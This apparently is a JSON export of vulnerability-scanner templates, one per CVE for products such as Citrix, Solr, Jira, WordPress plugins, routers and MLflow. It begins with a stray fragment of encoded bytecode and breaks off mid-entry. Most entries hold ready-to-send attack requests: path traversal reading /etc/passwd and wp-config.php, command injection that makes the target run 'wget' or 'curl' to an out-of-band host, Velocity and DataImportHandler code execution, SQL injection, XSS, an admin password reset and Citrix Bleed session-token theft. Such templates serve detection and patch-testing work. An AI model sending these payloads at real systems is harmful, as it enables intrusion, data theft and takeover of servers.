AAAgARgAgACEAAQANAEEAIgAjAAIAFgA4ACQAJQADACAALgAmACcABAAjACsAKAAfAAUAJwAnACkAHwAGACoAAAAfAAL/ACcABwcAKwcALAcALQcALgcALwcAKwcAKwAAIwAwAAAABAABABEACQAxAB0AAgAXAAAAqgACAAMAAAA3EglMuwALWbcADBIPtgANKrYADbYADrgAEEynABtNuwALWbcADBIStgANKrYADbYADrgAEEwrsAABAAMAGgAdABEAAwAYAAAAGgAGAAAAFgADABkAGgAeAB0AGwAeAB0ANQAfABkAAAAgAAMAHgAXADIAMwACAAAANwAeAB8AAAADADQAKQAfAAEAKgAAABMAAv8AHQACBwArBwArAAEHADQXADAAAAAEAAEANQAJADYANwACABcAAAArAAAAAQAAAAGxAAAAAgAYAAAABgABAAAANgAZAAAADAABAAAAAQA4ADkAAAAwAAAABAABADUAAQA6AAAAAgA7ResultBaseExecidconnectionHandlertrue\n"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid=","gid=","groups="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-14205","info":{"name":"WordPress Nevma Adaptive Images <0.6.67 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-12988","info":{"name":"Citrix SD-WAN Center - Remote Command Injection","severity":"critical"},"requests":[{"raw":["GET /login HTTP/1.1\nHost: {{Hostname}}\n","GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://{{interactsh-url}}) HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, \"Citrix SD-WAN\")"]},{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2019-1821","info":{"name":"Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /servlet/UploadServlet HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nPrimary-IP: 127.0.0.1\nFilename: test.tar\nFilesize: 10240\nCompressed-Archive: false\nDestination-Dir: tftpRoot\nFilecount: 1\nContent-Length: 269\nContent-Type: multipart/form-data; boundary=871a4a346a547cf05cb83f57b9ebcb83\n\n--871a4a346a547cf05cb83f57b9ebcb83\nContent-Disposition: form-data; name=\"files\"; filename=\"test.tar\"\n\n../../opt/CSCOlumos/tomcat/webapps/ROOT/test.txt0000644000000000000000000000000400000000000017431 0ustar 00000000000000{{randstr}}\n--871a4a346a547cf05cb83f57b9ebcb83--\n","GET /test.txt HTTP/1.1\nHost: {{Host}}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains((body_2), '{{randstr}}')"],"condition":"and"}]}]},{"id":"CVE-2019-18818","info":{"name":"strapi CMS <3.0.0-beta.17.5 - Admin Password Reset","severity":"critical"},"requests":[{"raw":["POST /admin/auth/reset-password HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/json\n\n{\"code\": {\"$gt\": 0}, \"password\": \"SuperStrongPassword1\", \"passwordConfirmation\": \"SuperStrongPassword1\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"word","part":"body","words":["\"username\":","\"email\":","\"jwt\":"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"json","json":[".user.username",".user.email"]}]}]},{"id":"CVE-2019-16525","info":{"name":"WordPress Checklist <1.1.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/checklist/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Checklist","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/checklist/images/checklist-icon.php?&fill=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-17503","info":{"name":"Kirona Dynamic Resource Scheduler - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/osm/REGISTER.cmd","{{BaseURL}}/osm_tiles/REGISTER.cmd"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DEBUGMAPSCRIPT=TRUE","@echo off"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-9041","info":{"name":"ZZZCMS 1.6.1 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /search/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n","POST /search/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nkeys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","!contains(body_1, \"phpinfo\")","contains_all(body_2, \"phpinfo\",\"PHP Version\")"],"condition":"and"}]}]},{"id":"CVE-2019-12583","info":{"name":"Zyxel ZyWall UAG/USG - Account Creation Access","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/free_time.cgi"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["free_time_redirect.cgi?u=","&smsOnly=0"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-0232","info":{"name":"Apache Tomcat `CGIServlet` enableCmdLineArguments - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /?&echo+{{sid}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{sid}}"]},{"type":"word","part":"content_type","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-19985","info":{"name":"WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Name","Email","Status","Created On"],"condition":"and"},{"type":"word","part":"header","words":["Content-Disposition: attachment; filename=all-contacts.csv;"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-11581","info":{"name":"Atlassian Jira Server-Side Template Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/secure/ContactAdministrators!default.jspa"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Contact Site Administrators"]},{"type":"word","part":"body","negative":true,"words":["has not yet configured this contact form"]},{"type":"regex","part":"body","regex":["\\(v4\\.4\\.","\\(v5\\.","\\(v6\\.","\\(v7\\.[012345789]\\.","\\(v7\\.1[0-2]\\.","\\(v7\\.6\\.([0-9]|[1][0-3])","\\(v7\\.\\13\\.[0-4]","\\(v8\\.0\\.[0-2]","\\(v8\\.1\\.[0-1]","\\(v8\\.2\\.[0-2]"],"condition":"or"}]}]},{"id":"CVE-2019-18665","info":{"name":"DOMOS 5.5 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-16662","info":{"name":"rConfig 3.9.2 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-8982","info":{"name":"Wavemaker Studio 6.6 - Local File Inclusion/Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-1898","info":{"name":"Cisco RV110W RV130W RV215W Router - Information leakage","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/_syslog.txt"],"headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(to_lower(body), \"ethernet\") && contains(to_lower(body), \"connection\")","contains(header, \"application/octet-stream\")"],"condition":"and"}]}]},{"id":"CVE-2019-20933","info":{"name":"InfluxDB <1.7.6 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/query?db=db&q=SHOW%20DATABASES"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"results\":","\"name\":\"databases\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-17558","info":{"name":"Apache Solr <=8.3.1 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /solr/admin/cores?wt=json HTTP/1.1\nHost: {{Hostname}}\n","POST /solr/{{core}}/config HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n \"update-queryresponsewriter\": {\n \"startup\": \"lazy\",\n \"name\": \"velocity\",\n \"class\": \"solr.VelocityResponseWriter\",\n \"template.base.dir\": \"\",\n \"solr.resource.loader.enabled\": \"true\",\n \"params.resource.loader.enabled\": \"true\"\n }\n}\n","GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1\nHost: {{Hostname}}\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"core","group":1,"regex":["\"name\"\\:\"(.*?)\""],"internal":true}]}]},{"id":"CVE-2019-17270","info":{"name":"Yachtcontrol Webapplication 1.0 - Remote Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/pages/systemcall.php?command=cat%20/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-16278","info":{"name":"nostromo 1.9.6 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1\nHost: {{Hostname}}\n\necho\necho\ncat /etc/passwd 2>&1\n"],"matchers":[{"type":"regex","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2019-10475","info":{"name":"Jenkins build-metrics 1.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-3799","info":{"name":"Spring Cloud Config Server - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-19824","info":{"name":"TOTOLINK Realtek SD Routers - Remote Command Injection","severity":"high"},"requests":[{"raw":["POST /boafrm/formSysCmd HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic YWRtaW46cGFzc3dvcmQ=\nContent-Type: application/x-www-form-urlencoded\n\nsubmit-url=%2Fsyscmd.htm&sysCmdselect=5&sysCmdselects=0&save_apply=Run+Command&sysCmd=wget+http://{{interactsh-url}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2019-9618","info":{"name":"WordPress GraceMedia Media Player 1.0 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200,500]}]}]},{"id":"CVE-2019-10405","info":{"name":"Jenkins <=2.196 - Cookie Exposure","severity":"medium"},"requests":[{"raw":["GET {{BaseURL}}/whoAmI/ HTTP/1.1\nHost: {{Hostname}}\n","GET {{BaseURL}}/whoAmI/ HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html","x-jenkins"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"body_2","words":["Cookie","JSESSIONID"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"kval","kval":["x_jenkins"]}]}]},{"id":"CVE-2019-16920","info":{"name":"D-Link Routers - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /apply_sec.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{BaseURL}}\n\nhtml_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384\n","POST /apply_sec.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{BaseURL}}/login_pic.asp\nCookie: uid=1234123\n\nhtml_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}\n","POST /apply_sec.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{BaseURL}}/login_pic.asp\nCookie: uid=1234123\n\nhtml_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\\\Windows\\\\win.ini')}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","\\[(font|extension|file)s\\]"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-11370","info":{"name":"Carel pCOWeb \\\">')"],"condition":"and"}]}]},{"id":"CVE-2019-3401","info":{"name":"Atlassian Jira <7.13.3/8.0.0-8.1.1 - Incorrect Authorization","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/secure/ManageFilters.jspa?filter=popular&filterView=popular"],"matchers":[{"type":"word","words":["
    ","Manage Filters - Jira"],"condition":"and"}]}]},{"id":"CVE-2019-14223","info":{"name":"Alfresco Share - Open Redirect","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/share/page/dologin"],"body":"success=%2Fshare%2Fpage%2F&failure=:\\\\interact.sh&username=baduser&password=badpass\n","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?interact\\.sh(?:\\s*)$"]}]}]},{"id":"CVE-2019-16759","info":{"name":"vBulletin 5.0.0-5.5.4 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsubWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["addcc9f9f2f40e2e6aca3079b73d9d17"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-13396","info":{"name":"FlightPath - Local File Inclusion","severity":"medium"},"requests":[{"raw":["GET /login HTTP/1.1\nHost: {{Hostname}}\n","POST /flightpath/index.php?q=system-handle-form-submit HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/plain, */*\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\ncallback=system_login_form&form_token={{token}}&form_include=../../../../../../../../../etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"token","group":1,"regex":["idden' name='form_token' value='([a-z0-9]+)'>"],"internal":true,"part":"body"}]}]},{"id":"CVE-2019-11869","info":{"name":"WordPress Yuzo <5.12.94 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nyuzo_related_post_css_and_style=\n","GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_2, \"\")"]},{"type":"dsl","dsl":["contains(tolower(header_2), 'text/html')"]}]}]},{"id":"CVE-2019-0193","info":{"name":"Apache Solr DataImportHandler <8.2.0 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /solr/admin/cores?wt=json HTTP/1.1\nHost: {{Hostname}}\nAccept-Language: en\nConnection: close\n","POST /solr/{{core}}/dataimport?indent=on&wt=json HTTP/1.1\nHost: {{Hostname}}\nContent-type: application/x-www-form-urlencoded\nX-Requested-With: XMLHttpRequest\n\ncommand=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22curl%20{{interactsh-url}}%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}],"extractors":[{"type":"regex","name":"core","group":1,"regex":["\"name\"\\:\"(.*?)\""],"internal":true}]}]},{"id":"CVE-2019-3396","info":{"name":"Atlassian Confluence Server - Path Traversal","severity":"critical"},"requests":[{"raw":["POST /rest/tinymce/1/macro/preview HTTP/1.1\nHost: {{Hostname}}\nReferer: {{Hostname}}\n\n{\"contentId\":\"786457\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.viddler.com/v/23464dc5\",\"width\":\"1000\",\"height\":\"1000\",\"_template\":\"../web.xml\"}}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["contextConfigLocation"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-15829","info":{"name":"Gallery Photoblocks < 1.1.43 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=photoblocks-edit&id=%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"\")","contains(body_2, \"post galleries!\")"],"condition":"and"}]}]},{"id":"CVE-2019-2579","info":{"name":"Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 - SQL Injection","severity":"medium"},"requests":[{"raw":["GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1\nHost: {{Hostname}}\n","POST /cs/ContentServer HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_authkey_={{authkey}}&pagename=OpenMarket%2FXcelerate%2FAdmin%2FWebReferences&op=search&urlsToDelete=&resultsPerPage=25&searchChoice=webroot&searchText=%27+and+%271%27%3D%270+--+\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["value='' and '1'='0 --","Use this utility to view and manage URLs"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"authkey","group":1,"regex":["NAME='_authkey_' VALUE='([0-9A-Z]+)'>"],"internal":true,"part":"body"}]}]},{"id":"CVE-2019-6799","info":{"name":"phpMyAdmin <4.8.5 - Local File Inclusion","severity":"medium"},"requests":[{"raw":["GET {{path}}?pma_servername={{interactsh-url}}&pma_username={{randstr}}&pma_password={{randstr}}&server=1 HTTP/1.1\nHost: {{Hostname}}\n"],"payloads":{"path":["/index.php","/pma/index.php","/pmd/index.php","/phpMyAdmin/index.php","/phpmyadmin/index.php","/_phpmyadmin/index.php"]},"attack":"batteringram","stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '< 4.8.5')"]},{"type":"dsl","dsl":["compare_versions(version, '> 3.9.9')"]},{"type":"dsl","dsl":["compare_versions(phpversion, '< 7.3.4')"]},{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","words":["mysqli_real_connect"]},{"type":"word","words":["pma_servername"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["\\?v=([0-9.]+)"],"internal":true},{"type":"regex","group":1,"regex":["\\?v=([0-9.]+)"]},{"type":"regex","name":"phpversion","group":1,"regex":["X-Powered-By: PHP/([0-9.]+)"],"internal":true,"part":"header"}]}]},{"id":"CVE-2019-15858","info":{"name":"WordPress Woody Ad Snippets <2.2.5 - Cross-Site Scripting/Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","negative":true,"words":["2.2.5"]},{"type":"word","part":"body","words":["Changelog"]},{"type":"word","part":"body","words":["Woody ad snippets"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2019-16996","info":{"name":"Metinfo 7.0.0 beta - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=1%20union%20SELECT%201,2,3,25367*75643,5,6,7%20limit%205,1%20%23"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["1918835981"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1177","info":{"name":"Mlflow <2.2.1 - Local File Inclusion","severity":"critical"},"requests":[{"raw":["POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=utf-8\n\n{\"name\":\"{{randstr}}\"}\n","POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=utf-8\n\n{\"name\":\"{{randstr}}\",\"source\":\"file:///etc/\"}\n","GET /model-versions/get-artifact?path=passwd&name=AJAX-API&version={{version}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["\"version\": \"([0-9.]+)\","],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-31548","info":{"name":"ChurchCRM v4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /session/begin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nUser={{username}}&Password={{password}}\n","POST /FundRaiserEditor.php?linkBack=&FundRaiserID=-1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nFundRaiserSubmit=Save&Date=2023-06-24&Title=%22+onfocus%3D%22alert%28document.domain%29%22+autofocus%3D%22&Description=test\n"],"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"onfocus=\\\"alert(document.domain)\\\" autofocus=\\\"\\\">\")","contains(body_2, \"ChurchCRM\")"],"condition":"and"}]}]},{"id":"CVE-2023-3765","info":{"name":"MLflow Absolute Path Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax-api/2.0/mlflow-artifacts/artifacts?path=C:/"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"is_dir\":","\"path\":","\"files\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0602","info":{"name":"Twittee Text Tweet <= 1.0.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ez2u4g HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains_all(body_2, \"\", \"twittee\")"],"condition":"and"}]}]},{"id":"CVE-2023-43261","info":{"name":"Milesight Routers - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/lang/log/httpd.log"],"max-size":5000,"extractors":[{"type":"regex","regex":["\"username\":\"([^\"]+)\",\"password\":\"(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)\""]}]}]},{"id":"CVE-2023-39110","info":{"name":"rConfig 3.9.4 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["GET /login.php HTTP/1.1\nHost: {{Hostname}}\n","POST /lib/crud/userprocess.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&pass={{password}}&sublogin=1\n","GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=file://localhost/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body_3","regex":["root:.*:0:0:"]},{"type":"word","part":"body_1","words":["rConfig"]},{"type":"status","part":"header_3","status":[200]}]}]},{"id":"CVE-2023-2822","info":{"name":"Ellucian Ethos Identity CAS - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cas/logout?url=https://oast.pro\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Identity Server"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24044","info":{"name":"Plesk Obsidian <=18.0.49 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login.php"],"headers":{"Host":"oast.me"},"matchers-condition":"and","matchers":[{"type":"word","part":"location","words":["https://oast.me/login_up.php"]},{"type":"status","status":[303]}]}]},{"id":"CVE-2023-4966","info":{"name":"Citrix Bleed - Leaking Session Tokens","severity":"high"},"requests":[{"raw":["GET /oauth/idp/.well-known/openid-configuration HTTP/1.1\n{{str}}: {{Hostname}}\nHost: {{payload}}\n\n","POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1\nHost: {{Hostname}}\nCookie: NSC_AAAC={{session}}\n\n"],"unsafe":true,"extractors":[{"type":"regex","name":"session","part":"body_1","group":1,"regex":["([a-f0-9]{100}45525d5f4f58455e445a4a42)"],"internal":true},{"type":"regex","part":"body_2","regex":["([a-z0-9._]+)"]}],"matchers-condition":"and","matchers":[{"type":"word","words":["NSC_AAAC=","HTTP/1.1"]},{"type":"word","words":["{\"issuer\":"]}]}]},{"id":"CVE-2023-2948","info":{"name":"OpenEMR < 7.0.1 - Cross-Site 